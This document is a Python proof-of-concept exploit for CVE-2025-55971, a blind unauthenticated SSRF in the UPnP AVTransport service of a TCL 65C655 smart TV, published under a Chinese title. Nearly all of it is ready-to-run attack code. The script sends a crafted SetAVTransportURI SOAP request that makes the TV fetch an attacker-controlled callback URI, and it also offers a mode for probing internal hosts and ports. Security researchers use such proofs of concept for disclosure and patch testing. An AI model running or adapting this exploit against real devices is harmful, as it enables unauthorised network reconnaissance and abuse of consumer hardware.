CVE-2025-55971：TCL智能电视UPnP AVTransport服务存在盲SSRF漏洞

#!/usr/bin/env python3 # CVE-2025-55971 - Blind Unauthenticated SSRF in TCL Smart TV UPnP/DLNA AVTransport # Exploit PoC for TCL 65C655 Smart TV (Firmware V8-R75PT01-LF1V269.001116) # Author: Szym0n13k import socket import sys import argparse TARGET_PORT = 16398 # Default UPnP AVTransport service port on TCL Smart TV SOAP_REQUEST_TEMPLATE = """<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1"> <InstanceID>0</InstanceID> <CurrentURI>{payload_uri}</CurrentURI> <CurrentURIMetaData></CurrentURIMetaData> </u:SetAVTransportURI> </s:Body> </s:Envelope>""" def send_ssrf_payload(target_ip, payload_uri, timeout=5): """ Send a malicious SetAVTransportURI SOAP request to trigger blind SSRF. :param target_ip: IP address of the target TCL Smart TV :param payload_uri: Attacker-controlled URI (e.g., http://attacker.com/callback) :param timeout: Connection timeout in seconds """ soap_payload = SOAP_REQUEST_TEMPLATE.format(payload_uri=payload_uri) http_request = ( f"POST /AVTransport/ctrl HTTP/1.1\r\n" f"Host: {target_ip}:{TARGET_PORT}\r\n" f"Content-Type: text/xml; charset=\"utf-8\"\r\n" f"Content-Length: {len(soap_payload)}\r\n" f"SOAPAction: \"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI\"\r\n" f"Connection: close\r\n" f"\r\n" f"{soap_payload}" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((target_ip, TARGET_PORT)) sock.sendall(http_request.encode('utf-8')) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() print(f"[+] Request sent to {target_ip}:{TARGET_PORT}") print(f"[+] Payload URI: {payload_uri}") print(f"[+] Response:\n{response}") if "200 OK" in response: print("[+] SSRF request likely triggered successfully!") return True else: print("[-] Unexpected response received.") return False except socket.timeout: print(f"[-] Connection timed out. Target may not be reachable.") return False except ConnectionRefusedError: print(f"[-] Connection refused. Port {TARGET_PORT} may be closed.") return False except Exception as e: print(f"[-] Error: {e}") return False def probe_internal_port(target_ip, internal_host, internal_port): """ Probe internal services by leveraging the blind SSRF. Uses gopher:// or http:// scheme to target internal hosts. """ payload_uri = f"http://{internal_host}:{internal_port}/" print(f"\n[*] Probing internal service: {internal_host}:{internal_port}") return send_ssrf_payload(target_ip, payload_uri) if __name__ == "__main__": parser = argparse.ArgumentParser( description="CVE-2025-55971 - Blind SSRF PoC for TCL Smart TV UPnP AVTransport" ) parser.add_argument("target_ip", help="Target TCL Smart TV IP address") parser.add_argument( "-u", "--uri", default="http://attacker.example.com/callback", help="Attacker-controlled callback URI (default: http://attacker.example.com/callback)" ) parser.add_argument( "--probe-internal", action="store_true", help="Enable internal port probing mode" ) parser.add_argument( "--internal-host", default="127.0.0.1", help="Internal host to probe (default: 127.0.0.1)" ) parser.add_argument( "--internal-port", type=int, default=16398, help="Internal port to probe (default: 16398)" ) args = parser.parse_args() print("=" * 60) print("CVE-2025-55971 PoC - TCL Smart TV Blind SSRF") print("Target: TCL 65C655 Smart TV") print("Firmware: V8-R75PT01-LF1V269.001116") print("=" * 60) if args.probe_internal: probe_internal_port(args.target_ip, args.internal_host, args.internal_port) else: send_ssrf_payload(args.target_ip, args.uri)